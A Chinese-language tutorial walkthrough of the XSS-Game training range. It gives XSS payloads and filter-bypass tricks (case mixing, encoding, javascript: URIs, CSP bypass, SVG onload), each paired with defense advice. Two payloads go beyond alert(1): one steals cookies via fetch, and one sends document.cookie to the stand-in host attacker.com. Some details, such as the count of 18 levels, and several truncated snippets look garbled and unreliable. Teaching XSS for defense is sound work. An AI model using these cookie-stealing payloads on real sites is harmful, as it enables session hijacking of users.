简介:本文提供XSS-Game靶场全18个关卡的详细通关教程,涵盖反射型、存储型、DOM型XSS攻击原理及绕过技巧,帮助开发者系统掌握XSS漏洞利用与防御方法。
XSS-Game是由Google推出的交互式XSS漏洞教学平台,通过18个渐进式关卡模拟真实场景中的跨站脚本攻击。与常规CTF题目不同,该靶场以游戏化形式呈现,每个关卡聚焦特定XSS类型(反射型、存储型、DOM型)或防御绕过技术(如输入过滤、CSP策略、编码混淆)。
学习价值体现在三方面:
建议初学者按关卡顺序逐个突破,每通过一关后复盘攻击向量与防御缺陷。
特征:攻击代码通过URL参数或表单提交,经服务器反射后返回给用户。
典型关卡:
<script>alert(1)</script>,服务器未过滤尖括号 <img src=x onerror=alert(1)> callback=?<script>alert(1)</script> 绕过技巧:
<ScRiPt>alert(1)</ScRiPt> \x3Cscript\x3E或Unicode\u003Cscript\u003E onmouseover=alert(1)配合伪协议javascript: 特征:攻击代码永久存储在服务器(如数据库、评论区),所有访问用户均受影响。
典型关卡:
<script>fetch('/steal?cookie='+document.cookie)</script>窃取Cookie <script>的解码漏洞 防御突破点:
<a>标签的href属性白名单,使用javascript:协议 特征:攻击代码不经过服务器,直接在客户端通过DOM操作触发。
典型关卡:
#后参数,通过location.hash读取并执行 innerHTML插入恶意节点,构造<img src=1 onerror=alert(1)> <meta http-equiv="Content-Security-Policy">覆盖原有规则 高级技巧:
eval()或Function()动态执行字符串 Object.prototype覆盖安全方法 漏洞点:搜索框未过滤输入,直接拼接至响应页面的<div>标签。
攻击向量:
<input name="query" value='"/><script>alert(1)</script>'>
防御建议:
textContent替代innerHTML <替代<) 漏洞点:上传的SVG文件包含XSS代码,服务器未验证文件类型。
攻击向量:
<svg onload="alert(1)" xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>
防御建议:
.jpg) Content-Type和文件头双重验证 漏洞点:JavaScript代码通过document.getElementById()获取URL参数并直接插入DOM。
攻击向量:
https://xss-game.appspot.com/level14/frame#<img src=1 onerror=alert(1)>
防御建议:
URLSearchParams解析参数,避免直接操作location.hash 漏洞点:CSP策略允许unsafe-inline,但限制了外部脚本。
攻击向量:
<script>// 通过伪协议绕过var a = document.createElement('a');a.href = 'javascript:alert(1)';a.click();</script>
防御建议:
default-src 'self'; script-src 'self' eval()和Function()构造函数 漏洞点:结合存储型XSS与CSRF,通过恶意评论触发管理员操作。
攻击向量:
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">
防御建议:
输入验证:
/^[\w\s\-]+$/) 输出编码:
he.encode()或DOMPurify库 JSON.stringify()转义 encodeURIComponent() 安全配置:
X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' 监控与响应:
<script>alert、onerror=) 完成XSS-Game全部关卡后,建议进一步学习:
通过系统化训练,开发者可将XSS攻击面识别能力提升至专业水平,为构建安全Web应用奠定基础。